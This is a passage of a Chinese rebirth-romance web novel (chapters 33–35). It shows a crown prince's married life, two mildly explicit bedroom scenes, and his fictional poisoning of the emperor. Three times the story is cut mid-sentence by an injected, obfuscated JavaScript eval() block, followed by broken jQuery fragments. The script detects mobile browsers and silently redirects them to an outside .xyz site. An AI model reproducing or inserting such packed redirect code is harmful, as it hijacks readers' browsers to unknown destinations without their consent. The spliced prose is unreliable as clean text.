许是因着练武的关系,他如今看起来身形更加修长英挺,眉眼也沉着了不少,对着剑锋,露出的眼神,不再似温顺小狗,更似一匹凶狠恶狼。
剑招虽好看,但他耍得并不是那等花架子的招数。剑招之中,既有致命的杀招,也有能保命的防身之招。
若是再遇到歹人,想必他定能护她周全。
此时一阵风来,吹落了几片树叶,他眼疾手快,拿剑锋出击,稳稳将这一片片叶子劈成了两半,散落在地上。
他放下剑,立稳了身形,深吸一口气。
扭头仿佛“不经意”地看到了温雪,露出“你怎么在这”的神色。
被他如今帅气挥剑的姿态惊到,温雪连连拍手叫好。着实没想到,他如今这剑术已经如此老练。
容适信步朝着她走来。温雪从一旁端了一盘苹果过来,拿筷子叉起一口,喂到了他嘴里,甜滋滋的口味在嘴里迸发开来,容适觉得十分满足。
眼见他的额角留下一滴汗水,温雪拿出手帕,温柔地将他额角的汗轻轻拭去。
“子安这剑术进步真大,仿佛突飞猛进了一般呢,必然是花费了不少功夫,很是辛苦吧?”
容适眼底翻起暗涌。
这一世的他,究竟有什么好?得了温雪如此多的宠爱,连练个剑都能如此懈怠,这剑术练得,远不如上一世的自己!
她还如此“宠溺”自己,她要求还真是不高!
容适暗自冷哼了一声,一脸淡然地回答温雪:“尚可,不甚辛苦。”
他的目光从始至终都流连在温雪身上,直到吃完了她喂给自己的苹果,他才移开视线道:“出了一身汗,我去沐浴一番。”
温雪眨眨眼,“嗯嗯,去吧。”
容适准备起身,却还是脚步一顿,看向她,眼底暗藏锋芒:“一起?”
温雪瞳孔震了震,赶忙拒绝道:“不,不用了,你自己洗吧。”
天知道,昨天他折腾完自己后,又说要给自己沐浴,结果最后胡闹成了什么样子?最后那满桶的水,几乎已经不剩多少,留下一地狼藉,真是令人羞愤欲死。
温雪心想,上一世,他也不是这般重欲之人呀,怎么这一世便如此……放浪形骸呢。
被温雪拒绝后,容适也不恼,只执起了她的手,轻轻吻了一下,遗憾道:“如此……那下次吧。”
温雪心想:没有下次了。
回到房中宽衣解带之时,容适放下外衣,才发觉自己手腕有些酸疼之感,想必是方才最后那一招使了太多力气。
他皱眉,心生不满。
这身子,果然练得不到家,连这点小事都做不好,怎能保护好温雪。
动了动手腕,召出陆风:“替我拿一下金创药来。”
陆风:“是。”
习武之人·陆风心道:太子殿下在温姑娘面前表现甚过,如此练剑,不伤了才怪。
*
成婚三日,便是温雪回门的日子。
这一日,容适一早就将车马备好,还让下人装了满车的礼品,一箱又一箱,好生阔气。
温雪心中自是高兴,他如今不仅重视自己,也重视她的父母兄长。
真好。
容适先将她抱上了马车,再跟上上车的脚步,然而,他脚步刚刚踏上马车,温雪便忽然自马车内探出了头,自上而下突袭一般亲了他一口,亲完便关上了车帘。
容适面上不喜什么,暗暗扬起的唇角与险些漂浮趔趄的脚步,却是暴露了他欣喜的心思。坐进车内,他便盯着温雪,然后捉过她的脸,想再深深地印个吻。
意识到他要做什么,温雪连连阻止他,“我今日涂了胭脂水粉,你可莫要吃了个干净,那我便白白涂了这么久。”
容适一顿,危险地眯了眯眸子看她,“那便换个没有胭脂水粉的地方。”说完,微微扯开了些她的衣领,露出她精致漂亮的锁骨,低头在她胸口锁骨处深深印了一吻。
温雪被她吻得脖颈微扬,又觉得痒意挠人。
眼见他还不罢休,还有似要越吻越深的架势,她赶忙捉住他的头和脸,将他推开。果然,对上他的视线时,他已目露“凶光”,此刻眼底泛红,眼神涣散地看着她,目光里只剩下情欲了。
温雪:……
这开了荤的狼崽子,当真是可怕。
……
太子府离尚书府很近,他们的车马很快便到了尚书府门口。
温雪父母兄长,还有几个下人,都已经在门口等候着。
待到容适牵着温雪的手从马车上下来,一群人拜了个礼,恭敬道:“见过太子殿下,太子妃娘娘。”
温雪顿觉不好意思,赶忙道:“爹爹娘亲,哥哥,怎的行如此大礼!雪儿可担待不起。”
温廷宠溺道:“你这丫头,做了娘娘还如此随意,该有的礼数自然是要有的。”
温雪扭头看了眼容适,容适只对视一眼,便从善如流道:“都是一家人,不必讲求礼数,我与雪儿只是寻常夫妻,岳丈大人只管唤我‘子安’。”
温雪投去了认可的眼神,心中满意地点点头,不愧是她一手将毛捋顺的,表现甚好,甚乖巧。
然而,温廷看着容适,却总觉得他似乎凌厉了不少,比往日更加增添了几分上位者气质。
下人们将车马上的厚礼一箱箱卸下,运进了府中,堆了满满一院子,他们一家人这才坐下用膳。
几人围坐一桌,丰盛的菜肴很快就添满了一大桌,打眼瞧去,几乎都是温雪爱吃的。
温雪嘴很甜,“哇,爹爹娘亲为我准备了这么多好吃的,雪儿可真是太感动了。”
确实基本上是温雪爱吃的,是因为他们不知容适喜欢吃什么,便顺着温雪的意来安排,现下又觉得有些不好意思,于是温廷问道:“不知这菜肴可还合太子殿下胃口?”
容适不甚在意,声色淡然道:“甚好,合雪儿口味,我便也喜欢。”
“好好好。”温廷松了口气。
就这么热热闹闹地用饭,唯有容适是个不大会热闹的人。他一向话少,这温廷一家人也知道,不过温廷却觉得今日的容适似乎格外冷峻一些。
不过他想,容适当上太子也有个些天了,自然要学着带些贵气,才能治理好手下之人,因此较以往给人的感觉有些不同,也是正常的。
温廷客套地找话:“如今太子殿下越发有威严了,往后必然能成为一代能服众的明君。”
说完,容适夹菜的手一顿。
只见容适顿时卸下了那威严的气概,浅浅笑了笑,眼中还有些青涩与羞赧,“岳丈大人说笑了,子安只是身居太子之位,不得已装的,何来的威严。”
那愣头青傻小子,虽长进了不少,可上位者的威严,他可还欠缺了些。
温廷被他这话一噎。
“哦,哦,如此,太子殿下不怒自威,往后定是一代知礼的明君。”温廷尴尬地擦了擦汗,又赶忙又圆了回来。
被人夸赞有威严,不是应该高兴才是,怎的还有人直说自己是“装的”的呢。
温雪听到二人对话,替容适找补道:“爹爹,子安如今这般就很好,谁说当皇帝都要那样威风吓人的呢,吓得群臣不敢直言进谏,多不好。”
容适“乖乖”点头,眼带笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570698|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意,“雪儿说得有理。”
温廷跟着答:“呃,是,有理,有理。”
容适与温雪对看一眼,心照不宣般地笑了笑,脸上都带了新婚夫妻的羞涩与甜蜜。
这二人真是……腻得让人没眼看。
温廷赶忙扒拉了几口饭。温夫人在一旁看着容适对自己女儿这没什么架子的宠溺样子,心中这才松了一口气。
她当初就怕温雪高嫁后会受气,如今看来,太子至少对女儿是有真心在的,只是不知这真心能维系多久。
温夫人向温珩使了个眼色,温珩顿时了然地点了点头。
用完膳后,温夫人便拉着温雪去内院诉说衷肠。温珩也找了个由头将容适带去了厅房。
温夫人拉着温雪坐下,她抓着温雪的手,关切地询问道:“为人新妇,感觉可还好?”
“娘,放心吧,女儿好得很。”
“太子殿下对你可好?”
“自然是极好的。”
温夫人看着温雪一脸喜色,心中却更加担忧了,只怕她如今期望越高,失望便越大。
“哎,这才几日他自然是能对你好。”温夫人忧虑道,“你可知如今皇帝病重,太子殿下终究是要做皇上的,皇上都必然要三宫六院,开枝散叶……你到时可如何自处?”
温雪笑了笑,拉着母亲的手晃了晃,撒娇道:“放心吧娘,他不会的,至少……这近些年都不会的。”
温夫人一脸不信,“帝王心难测,这你如何能保证呢。”
自然是因着有过这么一遭的经验了,知道他不是那般人。他连无法生育一身病体、身为叛国罪臣之女的她都敢封为皇后,在她身死后也跟着她刎颈而亡,他为了自己还有什么做不出来的吗?
只是重来一世,时过境迁,时移世易,道理她心中明白,自然也不敢百分百保证。
知道娘亲在担心着什么,于是她正色道:“娘,若是真有那样一天,我自当会弃他而去。我对他以真心是因着他对我是真心,若他收回了他的真心,那我自当也会收回我的。”
她最知道自己,她这人看似性子好,实则心底里倔强又凉薄,若不是容适将一颗真心剖给了她看,她是不会真正爱上他的。
突然间,院门被打开,容适站在院门外,身后还站着温珩。
容适看起来面色不太好看,眼底有些郁色,沉声道:“不会有那样一日的。”
他一步一脚印走了进来,步伐都格外严肃。
“我容适对天立誓,此生只有温雪一人,上穷碧落下黄泉,生同衾死同穴,若是她不在了,我也追到黄泉去……”
“够了。”温雪跑上前来捂住他的嘴,怒气冲冲,“你发誓就发誓,好端端的发这么毒的誓做什么?咒我吗?”
“……我不是这个意思。”
“往后别乱说这种话。”她可不想再看见他为了她一剑倒在血泊中的场景。
“好。”容适顺着应下。
他上一世的记忆,实际上只到二人多年来纠缠不清便结束,他已然忘却了温雪病故一事,也不知温雪死后发生了什么,因此他也不知温雪在害怕着什么,只当是温雪在关心自己,他心中升腾起了无边喜悦。
只有他知道,方才他听见温雪说她会毫不犹豫地收回真心时,他的心脏陡然骤缩。
因为他知道,她定是做得出来。
光是想想,他就已经觉得恐惧异常,于是下意识地就这般冲了进来。
属实是冲动了些,莫非这愣头青演久了,他做事也变愣头青了?
容适十分坦然地将这罪过,都安到了这一世的自己身上。
……
今日这回门礼,他们未打算留宿,早早收拾了一番就离开了。
温珩送到门口时,叫住了温雪:“往后你若入了宫,也要常常回家来看看啊。”
温雪转过身来,连连点头应下。
容适却暗暗垂下了眸子。
让他与温雪生同衾死同穴,这对他来说容易,可若是要让她自由来去……他不知今世的自己,能否做得到。
屡次险些失去她的恐惧印在他的记忆深处,成了难以磨灭的印记。于是上一世,他做了什么呢?他将她锁在深宫,命人天天守着,日夜看着。
他怕极了,怕他要控制不住自己,也怕自己会失去她。
34. 第 34 章
新婚燕尔,按照天启律法,臣子可休沐七日,待休沐期结束,便要恢复上朝,就连入仕的皇子也并不例外。
容适身为当朝太子,也是如此。
他的太子府坐落的位置,离皇城宫门有些距离,于是这几日都是天还没亮,他便要起来动身赶往皇宫中去了。
这一日,窗外雾色深重,阴云当空,让人分不出是天光未亮,还是天色糟糕。
总之,看起来不是个好兆头。
容适刚从温雪身边起身,温雪便察觉到了,半梦半醒间抓着他的手不放,在他的手背上蹭了又蹭。
看着温雪朦胧的眼神,容适心头一软,坐在她身侧,摸了摸她的头发。
“雪儿,我去去就回。”他柔声道。
温雪意识不清,撒娇道:“别走嘛,子安……”
容适喉间一紧,却是无奈拒绝,“今日不行。今日……我有些要事要做。”
说完,温雪似乎是听清了,乖乖放了手,他这才抽身前往皇宫之中。
*
皇宫,大殿。
群臣已齐刷刷站在大殿之中,左顾右盼,悉悉索索商议着皇上究竟何时才来上朝。
因着突然的病重,皇上已经多日未能按时来上朝,朝中大臣们议论纷纷,觉着应是接连着失去太子和二皇子两个儿子,皇上一时急火攻心,这才一病不起。
如今看来皇上病得不轻,怕是要时日无多……只是这种话,他们只敢在心中想想,不敢出声妄议。
约莫过了半个时辰,朝中大臣仍然未能等来皇上,只等到了皇上身边的亲信——刘公公前来。
见到刘公公的身影,大臣们心中基本了然:看来今日皇上也不会来上朝了。
果不其然,刘公公尖声道:“今日皇上龙体欠安,各位大人们,请回吧。”
大臣们这才作揖拜别,转身离去。
容适站在殿中并未动身,等到臣子散尽后,才动身跟上了刘公公的脚步,以“想在父皇跟前尽孝”为由,一道去了皇帝的寝宫。
这寝宫,他已不知多少年未曾来过。
还未踏入内殿,便已经听到皇帝沉重的咳嗽声阵阵传来,连着咳得似乎险些背过气去。
刘公公急忙上前进了内殿,身后的容适脚步一顿,收起了眼底的一片暗色,尽量收敛了情绪,这才迈步踏入寝殿之中。
殿内空气中,飘散着一股浓浓的苦涩的药味,光是闻着就已经直令人作呕。
“陛下,太子殿下来瞧您了。”刘公公走到皇上身边,恭敬地禀报。
容适上前淡淡作揖,“儿臣见过父皇。”
谁知,皇上抬头瞧了容适一眼,顿时咳得更加厉害,脸色涨得通红,好半天才有所缓和,语气不善道:“你来做什么?”
容适上前,侧身坐在床榻一侧,看着皇上,目光平静却恰到好处流露出一丝关心,“儿臣自是关心您的龙体,希望您安康长寿。”
皇上冷哼一声道:“有你们这样一群不孝子,朕才是不得安宁,无法安康。”
他本就一心想让容钦继承帝位,对这个从小扔在了后宫的便宜儿子没什么情感,只想利用完就扔。即使容适在朝政之事上做得再好,他也不认可这个儿子。
容适沉下眉眼,似乎是想到了什么深远的往事,眸中有化不开的郁结,“父皇,儿臣近日回想幼年之时,想起了不少过往。”
皇帝靠在床头不答,但却眼眸微动。
容适注意到后,紧接着道:“儿臣幼时障病缠身,不通人情,让您与母妃失望了。”
“可如今细细想来,儿臣与父皇母妃,也曾是有过一段和美的日子。”
“那时,您与母妃都对儿臣宠爱有加,常将儿臣抱在怀中。落花雨下,母妃对您温柔浅笑,您对儿臣亦慈祥疼爱,是儿臣幼年最美好的回忆。”
似乎被他的言辞带入了过往的回忆,皇帝忍不住深吸了一口气,闭了闭眼,“你母妃当年,的确是一个美人,可惜,他对朕用情不深,愈发疯疯癫癫,不得善终。”
容适摇了摇头,似是反驳的意思。
“母妃是个性子内敛之人,用情至深不善用言辞传达,您不常来看母妃后,她便常抱着儿臣哭,口中念叨着父皇,责怪儿臣痴傻,才令父皇疏远了她。”
皇上眼神微眯,半信半疑,“当真?你母妃对朕有此用心?”
“千真万确。”他回答得肯定。
皇上约莫是信了几分,顿了顿,感怀道:“这么久远的事,你竟还记得如此清楚。”
容适目光闪烁,“自然,儿臣如今障病已除,对过往之事记得清清楚楚。多年未与父皇亲近,留下诸多遗憾,往后,儿臣定当尽力弥补,为父皇效力。”
皇上沉默了半晌。
许是年岁大了,儿子多不孝;许是因着病倒了,心境格外脆弱。此刻被容适此番话一说,他竟是有些被说动了。
叹了口气,道:“罢了,你有这份心便好。”
刘公公站在一旁,将眼前这“父慈子孝”的场面看在眼里。
眼见这新太子殿下如此有孝心,未来定是自己的新主子,刘公公露出谄媚的笑,眉眼都成了一条缝。
他讨好道:“太子殿下如此有心,陛下,您往后大可放心调养身子了。”
皇帝闻言微微点了一点头,以示认可。
容适转身看向刘公公,关心问道:“刘公公,父皇今日可有服药?”
“未曾。”
“那便命太医将药熬制了端上来吧。”
“是。”刘公公得了令,赶紧恭敬地转身下去命太医安排汤药。
既是未来的新主子,那他可得有眼色一些,将新主子侍奉妥当了才是。
熬制汤药需要许久,太医院离寝殿又远,他们等了一两个时辰,那汤药才被呈到寝殿,苦涩的味道溢出,与空气中飘散的苦味别无二致。
容适主动接过了汤药,不大高兴地皱了眉,目光锐利地扫向刘公公,“刘公公,如此清苦的汤药,你竟是不知道备几颗蜜饯过来?在父皇身边这么多年,你是如何办事的?”
刘公公登时汗流浃背,吓得跪倒在地,“是奴才办事不力,思虑不周,还望太子殿下恕罪!”
“那还不快去取些蜜饯果子来?”
“是,是!”刘公公连忙起身,迈着碎步跑了出去,生怕给未来新主子留下个“办事不力”的印象。
寝殿之中只留下了容适与皇帝二人。
殿中安静得可怕,只留下了玉勺与玉碗清脆的碰撞声。
容适垂眸,掩去了眸色,专注地拿着勺子在汤药中搅动了几下,然后舀起一口,喂到皇帝嘴边。
“父皇先喝着,莫要耽误病情,待刘公公将蜜饯取来,便不会如此苦了。”
皇帝听闻,张嘴将药咽了下去。
一口一口,这汤药很快已少了一半。
“父皇,喝了这汤药,身子可还觉着不适?”容适抬眸,看向皇帝,脸上没什么表情。
皇帝刚要点头,突然觉着一阵胸闷气短,一时间竟喘不上气来。
容适这才勾了勾唇,道:“父皇便没尝出来,今日这药味道与往常有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576509|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不同?”
皇帝睁大了眼睛,瞳孔不由自主地骤缩,想到了某种猜测,心中升腾起不可思议与难以置信,顿时堵在了胸口喉间。
莫非,这汤药有问题……
容适给他的眼神,似是认可了他心中的惊疑。
皇帝抬起手来,紧紧摁住了自己的胸口,拼命汲取着新鲜空气。
一边喘息,一边还要忍不住不甘地出声:“你,竟然……弑父,弑君……”
虽未说清楚,可容适捕捉到了关键词。
“弑父?”容适平静地看着他,音色低沉,语气却嘲弄,“父皇还是对儿臣和儿臣的母妃知之甚少,这般三言两语,便将您骗了过去。”
他不急不缓,缓缓叙述着令皇帝崩溃的真相。
“您说母妃对您用情不深,的确,你觉着得没错。母妃心中念的从来不是您,直至死去,她在儿臣面前,念叨着的都是您的好兄弟,衡阳王殿下。”
衡阳王乃是皇帝的弟弟,在他的母妃入宫之后,便被皇帝安了个叛国的罪名处死。此后,母妃真正疯癫到自缢,并非全都因为他的所谓痴傻,而是因为真正的爱人死去。
“父皇,你可知,大家都以为我是早产儿,实则,我从来不是您的亲生儿子。这一点,您不是早有猜测?因此才将我丢在后宫不闻不问。”
话音刚落,皇帝睚眦欲裂,被一口气憋到了嗓子眼。可容适毫不在意。
“至于弑君……敢问父皇,我弑的,当真是君?”
容适语气冰冷,如同千年化不开的寒冰一般,出口的每个字都如冰刃扎在皇帝的心上。
“据我所知,太后娘娘当年,所生下的,可是个女儿。为了让自己诞下长子,她将皇后和其他妃子的孩子害死,自己生出女儿后,又唱了一出偷天换日的戏码,将身边丫鬟的儿子,换成了自己的。”
“所以,父皇啊父皇,你当真觉得自己该坐上这个皇位吗?”
皇帝不是先皇的亲生儿子,只是个丫鬟的孩子,此事若是传出去,那便是天下一大丑闻。
皇帝一直知道自己非先皇之子,非世人口中的“真龙天子”,他认为自己身上留着的是卑贱的奴才的血液,所以他将血统看得比谁都重。
唯有他的亲生儿子,他的长子,才是最符合帝位血统之人。
唯有这样,一代一代的帝位传承下去,他卑劣的血统,才能真正成为的帝王血统。
“孽……子……”他口齿不清地吐出一声骂来。
容适眸光淡漠,眼底的阴郁如浓雾一般,“可偏偏是我这个孽子,得到了您这个孽子的皇位;您弑母,我便弑父。您说,这是不是也是一种……子承父业?”
容适低声在床边说出来的话,没有什么波澜起伏,却如同致命的催命符,一字一字清晰地传入皇帝的耳中。
皇帝的目光愈发震惊,心中的惊疑难以言表。
他一个被丢弃在后山野林里长大的小畜生,一个深居后院多年的痴儿,即使障病好了,如今入仕也不过两三年的光景,怎会,怎会知道如此多的宫闱秘辛,怎能查到如此多的事情,有这般的城府……
“你,究竟,为何……你是,何人……”
皇帝上气不接下气,已说不出一句完整的话来,用尽了所有力气,才问出自己最后一句最不甘的疑问。
容适听明白了他的意思,缓缓放下了汤药,看向他的目光如同在看蝼蚁。
仿佛在说:看,这便是报应,不论是前世还是今生,你最终的宿命理应如此。
“儿臣是何人,父皇当真想知道?”
35. 第 35 章
容适微微低下了头,一双黑眸如暗夜里猎食的贪狼,“只可惜,父皇,你永远也无法知道真相了。”
话音刚落,皇帝便猛猛地咳嗽起来。
此时,刘公公恰好捧着一碟蜜饯果子进来了。
床帘微微挡住了皇上的身形,只能听到一阵接连不断的咳声,刘公公想着往上前两步,却被容适喝止。
“刘公公,你这蜜饯果子来得太晚了些,父皇都将药喝完了。”
刘公公吓得脚步一顿,“太子殿下恕罪,奴才已是最快的时间寻来的蜜饯了,往日喝药皇上也不怎的爱吃,宫中也没怎么备……”
他一边解释,一边将盘子递给了容适。
一时间,皇帝咳得更加厉害,刘公公担忧道:“怎的药喝完了,陛下还如此咳得厉害。”
容适淡然道:“方才因着药苦,父皇不小心呛了一口,不妨事。”
说完,皇帝逐渐停了咳嗽,房内安静下来,刘公公看不见皇帝的神色,只道是陛下好转了些许。
只有容适的目光落在躺着的皇帝脸上,皇帝张着嘴,想说些什么,却半天出不了声,只好收了回去。
容适声色幽冷,“父皇还是莫要说话的好,否则又要咳嗽了。若是口中清苦,便吃些蜜饯果子。”
皇帝看着他怒目圆睁了一瞬,可他已经这点力气也使不出来了,半阖上了眼。
“父皇可是不想吃?看来还是儿臣考虑不周了,那便早些歇息吧。”容适转头对刘公公道,“父皇龙体欠安,歇下了,莫要多做打扰,本殿下先回府了。”
此时已是下午未申时,正是觉着疲倦需要小憩的时候,皇上平日里也是这个时辰浅眠休憩的。
“是。”刘公公并未起疑,退到一旁,看着容适将帘子拉上,只留了一条缝。
容适转身离开,刘公公顿时松了口气,这伴君如伴虎,这些年他光是要猜测皇上的意思便够难了,这位太子殿下看起来似是更难琢磨。
刘公公心中叹了口气,走到了寝殿门外守着,不小心便开始打起了盹。
容适行至宫门外,坐上了来时的马车,车夫已经等候多时,见容适上了车,立刻策马离开。
车轮在偌大的宫墙之间滚滚驶过,马蹄声与车轮声回荡在宫闱之上。
容适撩开了车帘,回头深深看了一眼这个吃人不吐骨头的皇城大院。上一世,他便是在这里,一步步成长为了今时今日这个样子。
*
回到太子府时,天色已经暗了。
容适收起了心中一片郁色,行至院门口,远远地,便已经瞧见了寝房内的灯火亮起,忽明忽暗,将温雪的影子照在了窗户纸上。
他走到门口,温雪似是在与怀秋说话。
怀秋怪道:“太子殿下今日上朝怎的去了一天,还未归来?”
“近日不是皇上身体病重吗?许是宫中有事,被牵绊住了。”
温雪怀中抱着雪球,雪球跟着叫了一声,温雪便低头摸了摸雪球的脑袋,“雪球,你可是也想你爹爹了?”
爹爹?他何时有了这么只猫儿子?
容适嘴角微扬,跟着笑了笑。
真好啊,于黑夜之中踽踽独行时,万家灯火之中,如今也能有一盏灯是为自己亮起。
他推开门,温雪抬起头看,眸光晶亮,比星辰明月更甚。
“见过太子殿下。”怀秋行了个礼便识趣地退下了。
容适坐到温雪身边,见她怀中的雪球又往温雪怀中钻了钻,又蹭了蹭她胸口,顿时眼神微眯,伸手揪住了猫的脖后颈。
他是想将这黏人的家伙丢到一旁,自己与温雪亲近,然而他想拎起雪球的手一顿,停住了。
他想,这一世的自己,应当不会这样做的。
于是,他又松了手,改成在雪球的脑袋上摸了一摸。
只是雪球似乎看明白了他眼里的“威胁”,于是翻了个身,从温雪的怀中跳走了。
容适这才向雪球投去了一个满意的目光。不愧是他养出来的猫,还多少有几分聪明。
温雪怀中一空,便也放下了手,看向容适,“今日如此晚才回来,可是宫中发生何事了?”
“父皇病重,让我陪了会儿。”他简略地回答。
“那你可用过膳了?”
“随意对付了两口。”
“那怎么行?”温雪一脸不满,“民以食为天,再忙也要要用膳,我让厨房再去做些吃食来……”
她刚要起身,却被容适拉住了手,然后一个用力,便旋身落入了他的怀里。
“我想吃些别的。”容适低头看着她,目光灼灼,喉结上下滚动,伸出手指捏了捏她的脸颊,指尖逐渐游移到她鲜红欲滴的唇瓣上。
反复揉撵了一会儿,才低头俯身改为用唇齿去交缠。她的面容再次泛起了红晕,不知是烛火的暖色光影,还是她也对他动了情。
他想是后者。
容适将她横抱起,轻柔地置于床榻之上,将她的衣衫从颈间滑落褪去,真正的温香软玉在怀。
“天下再无比雪儿更美味者。”他哑着声道,呼应着之前那“吃些别的”的混账话。
温雪羞恼,伸手锤了他一下。这新婚的男人,怎的能如此不害臊?
……床榻吱吱作响。
他用力挺身,凑近温雪耳边,哑着声问:“雪儿,你爱的是谁?”
温雪声音更为沙哑,脑海浮浮沉沉,“自,自然是你。”
“那你更爱哪个我?”他想也没想,便问出口。
温雪神志本就不怎么清明,被他一问,更是糊涂,半晌只吐出两个字:“……什么?”
他看着温雪迷蒙游离的眼神,他的心脏被柔软滚烫的感觉牢牢包裹攥紧,他几乎是咬着牙道:“无甚。”
然后没再听她说什么,直接低头封住了她的唇齿。
芙蓉帐暖,夜夜笙歌。他从未觉得自己如此失控。
温雪无力睡去时,容适情不自禁喟叹了一声。
夜色朦胧中,他看着温雪的侧颜,思绪翻飞。
自新婚之夜重获记忆以来,那些前世今生恍若飘散的碎梦,伴随着过往无数纷杂情绪,在他心中凝结成了化不开的浓墨。
今日,经年累月在他心中留下的不甘与郁结,终于稍微化解了几分。
在上一世的那个世界里,温雪始终不知道温家是如何倒的。
正如这一世一样,温家多次被二皇子拉拢,但最终,温廷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591279|169512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
并没有选择二皇子,而是选择信任当今圣上,向圣上投了诚。对皇帝投诚,与对太子投诚无异。
皇帝知道二皇子要谋逆的狼子野心,于是便给温珩封了官,然后利用温家与二皇子虚与委蛇,最终将二皇子谋逆之事揭露,将其流放,为太子扫清障碍。
然而,皇帝生性多疑猜忌,温珩在审问那定北侯之时,无意间套得了一句“王侯将相,宁有种乎”的话,皇帝深究其意,竟认为他在暗讽自己血统卑贱,却成了一代君王之事,怒得将定北侯处以极刑。
温珩新官上任,觉得此事蹊跷,再细细调查一番,竟无意间发现了当年“偷天换日”的端倪。
即便只是初见真相端倪,可帝王之心深似海,失了君心,便再无出头之时。
于是,欲加之罪,何患无辞。温家成了皇帝手中的弃子。
在温家被抄满门前,温雪以为,是温珩安排了人带她出城,保她性命。实则,是容适与温珩商议,借了她兄长的名义,安排温雪出城。
只是这些,温雪不必知道了。他只希望她能一直平安喜乐。
白日里出宫之时,容适心中畅快地想:那狗皇帝害她家破人亡的仇,他报了整整两次。
只是上一世,他做起来并没有这么容易,花费了好一番功夫,才将宫廷里那些个腌臜事都给翻了出来,将那狗皇帝打入了泥潭。
他一步步涉水前行,逐渐明白,在那个深宫里,没有绝对的好人,也没有绝对的坏人,只有为了得到自己想要的一切,用尽手段之人——他也一样。除了太子之位,其他的一切都是他用尽手段得来。
只是最终,用尽手段,他还是没来得及给她一个圆满的结局。
这或许就是上天给他弥补的机会。
所幸这一世,温珩没有提前被封官,没有审问定北侯,温家也没有被波及。
皇帝利用了他当棋子,天道报应,利用他,就该付出利用的代价……
容适躺在床上,看着窗外的天光渐亮。他在心中默默算了算,约莫是快要到时间了。
他悄然起身,为身旁的温雪掖紧了被角,便出了院子。果不其然,天色未亮,一阵匆匆的脚步声便从院外传来。
来人是刘公公,他满头大汗,一脸焦急:“太子殿下,皇上他,他昨夜驾崩了!”
“什么?”容适面色震惊道,“怎会如此?本殿下离开之时,父皇分明还无事。”
刘公公是喊皇上起床用膳时才发现的不对劲,唤了几声“陛下”,却怎么也没回应,他打开帘子才发觉,皇上已经没了气息。
但他不敢说自己昨夜照看不周,打了盹睡了过去,或许没听见皇上传唤,支支吾吾道:“许是昨夜,皇上突然病发,所以这才……”
容适懒得再听,抬起了步子,就往门外赶去。
赶到寝殿之中时,太医已一脸哀痛地站在皇帝床榻一侧,见到容适与刘公公到,他才道:“太子殿下节哀,陛下已经去了……”
太医叹了口气,看着容适“不敢相信”的模样,只当时太子殿下孝顺,觉着心痛。
天启承钦二十七年。
皇帝驾崩,举国大丧,谥号启文帝。
三日后,太子登基,新帝即位。